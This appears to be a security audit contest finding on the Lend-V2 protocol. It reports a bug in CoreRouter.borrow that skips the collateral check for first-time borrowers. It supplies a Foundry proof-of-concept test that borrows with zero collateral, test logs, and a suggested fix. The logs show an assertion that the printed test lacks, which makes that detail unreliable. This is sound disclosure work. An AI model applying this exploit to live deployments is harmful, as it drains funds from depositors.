Basic Cerulean Fox

High

# Bad collateral against borrow check on first‐time borrow allows zero‐collateral lending and draining of the protocol's funds

### Summary

A bug allows skipping the collateral check when borrowIndex == 0, this will cause an unauthorized fund withdrawal for an attacker as his borrows without collateral.

### Root Cause

In CoreRouter.[borrow](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L157), when currentBorrow.borrowIndex == 0, the code sets the borrowAmount to zero if there no record of a previous borrowingIndex:
```solidity
 uint256 borrowAmount = currentBorrow.borrowIndex != 0
            ? ((borrowed * LTokenInterface(_lToken).borrowIndex()) / currentBorrow.borrowIndex)
            : 0;
 ```

and then immediately performs
```solidity
require(collateral >= borrowAmount, "Insufficient collateral");

```
Since borrowAmount is zero, this check always passes even if collateral == 0. As a result, a first‐time borrower can bypass any collateral requirement entirely.

### Internal Pre-conditions

1.A fresh borrower address has never borrowed from this market, so its stored borrowIndex is still zero in LendStorage.borrowBalance.
2.The market has sufficient liquidity


### External Pre-conditions

1. Some honest user or liquidity provider has already supplied funds into that same lToken market, so that LErc20Interface(_lToken).borrow(_amount) will succeed on the protocol side.

### Attack Path

1.Attacker calls CoreRouter.borrow(amount, token) as a first‐time borrower.

2.Collateral check is bypassed.

3.Protocol borrow proceeds. Gives free money to the attacker

### Impact

Any address with zero prior borrows can steal up to the entire on-chain liquidity of a given market, as long as that market has positive cash.

### PoC

Copy paste this test into TestBorrowing.t.sol:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test} from "forge-std/Test.sol";
import {Deploy} from "../script/Deploy.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "./mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../src/Lendtroller.sol";
import {InterestRateModel} from "../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../src/LTokenInterfaces.sol";
import {LToken} from "../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";

contract TestBorrowing is Test {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokens;
    bool public isTestnet;
    address public deployer;

    CrossChainRouterMock public router;
    LendStorage public lendStorage;
    CoreRouter public coreRouter;
    Lendtroller public lendtroller;
    InterestRateModel public interestRateModel;
    SimplePriceOracle public priceOracle;

    TestHelper public testHelper;

    address[] public lTokens;

    // Events to test
    event BorrowSuccess(address indexed borrower, address indexed lToken, uint256 accountBorrow);

    function setUp() public {
        deployer = makeAddr("deployer");

        // Deploy the entire protocol
        Deploy deploy = new Deploy();
        (
            address priceOracleAddress,
            address lendtrollerAddress,
            address interestRateModelAddress,
            address[] memory lTokenAddresses,
            address payable routerAddress,
            address payable coreRouterAddress,
            address lendStorageAddress,
            address _layerZeroEndpoint,
            address[] memory _supportedTokens
        ) = deploy.run();

        // Store the values in contract state variables
        router = CrossChainRouterMock(routerAddress);
        lendStorage = LendStorage(lendStorageAddress);
        coreRouter = CoreRouter(coreRouterAddress);
        lendtroller = Lendtroller(lendtrollerAddress);
        interestRateModel = InterestRateModel(interestRateModelAddress);
        priceOracle = SimplePriceOracle(priceOracleAddress);
        lTokens = lTokenAddresses;
        layerZeroEndpoint = _layerZeroEndpoint;
        supportedTokens = _supportedTokens;

        testHelper = TestHelper(payable(layerZeroEndpoint));

        // Set up initial prices for supported tokens
        for (uint256 i = 0; i < supportedTokens.length; i++) {
            priceOracle.setDirectPrice(supportedTokens[i], 1e18);
        }
        // 2) Tell Lendtroller to support each lToken market
        //    and set a 75% collateral factor (0.75e18) on that market.
        for (uint256 i = 0; i < lTokens.length; i++) {
            address m = lTokens[i];
            // enter the market so CoreRouter can later call “enterMarkets”
            lendtroller._supportMarket(LToken(m));
            // set collateral factor to 75%
            lendtroller._setCollateralFactor(LToken(m), 75e16); // 0.75e18
        }
    }

    /// @notice This test shows that if a user has never borrowed before (`borrowIndex == 0`),
    ///         `CoreRouter.borrow(...)` will skip the “collateral ≥ debt” check (because `borrowAmount` is set to 0),
    ///         allowing a first‐time borrow with zero collateral—so long as the market has liquidity.
    function test_firstBorrowWithoutCollateralSucceeds() public {
        // 1) Set up a “liquidity provider” (lp) who supplies 100 tokens into the pool,
        //    so that the market actually has cash to lend.
        address lp = makeAddr("liquidityProvider");
        address token = supportedTokens[0];
        address lToken = lendStorage.underlyingTolToken(token);

        // Mint 100 underlying tokens to lp, approve CoreRouter, then supply
        vm.startPrank(lp);
        ERC20Mock(token).mint(lp, 100e18);
        IERC20(token).approve(address(coreRouter), 100e18);
        coreRouter.supply(100e18, token);
        vm.stopPrank();

        // 2) Now pick a fresh “attacker” account that has never supplied or borrowed.
        address attacker = makeAddr("attacker");

        // At this point, `attacker` has ZERO collateral in the protocol.
        // Because `borrowIndex == 0`, CoreRouter’s internal `borrowAmount` will be set to 0,
        // and the check `require(collateral >= borrowAmount)` always passes.

        vm.startPrank(attacker);
        // Attempt to borrow 10 tokens with NO collateral.
        // Normally this should revert, but because of the bug it will succeed.
        coreRouter.borrow(10e18, token);
        vm.stopPrank();

        // 3) Verify that `attacker` actually received 10 tokens—even though they supplied nothing.
        assertEq(IERC20(token).balanceOf(attacker), 10e18, "Attacker should have 10 tokens");

        // 4) Verify that the borrow balance in storage is now 10 tokens,
        //    despite attacker having zero collateral.
        uint256 storedBorrow = lendStorage.borrowWithInterestSame(attacker, lToken);
        assertEq(storedBorrow, 10e18, "Stored borrow balance should be 10 tokens");

        // lets try this with a user for example
        address user = makeAddr("user");

        vm.startPrank(user);

        // Normally this should revert, but because of the bug it will succeed.
        coreRouter.borrow(10e18, token);
        vm.stopPrank();
    }

    // Helper function to supply tokens before testing borrowing
    function _supply(uint256 amount) internal returns (address token, address lToken) {
        token = supportedTokens[0];
        lToken = lendStorage.underlyingTolToken(token);

        ERC20Mock(token).mint(deployer, amount);
        IERC20(token).approve(address(coreRouter), amount);
        coreRouter.supply(amount, token);
    }
}

```

The test logs show that both the attacker and the user that had supplied 0 collateral can pull out money:

```solidity
 [582] ERC20Mock::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
    │   └─ ← [Return] 10000000000000000000 [1e19]
    ├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19], "Attacker should have 10 tokens") [staticcall]
    │   └─ ← [Return] 
    ├─ [582] ERC20Mock::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
    │   └─ ← [Return] 10000000000000000000 [1e19]
    ├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19], "Attacker should have 10 tokens") [staticcall]
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.35ms (1.76ms CPU time)

Ran 1 test suite in 764.39ms (11.35ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

Add an explicit “first-borrow” collateral check: Immediately after calculating borrowAmount:
```solidity
if (currentBorrow.amount == 0 && currentBorrow.borrowIndex == 0) {
    // No prior borrow—ensure user has supplied some collateral
    require(collateral > 0, "Missing collateral for initial borrow");
}

```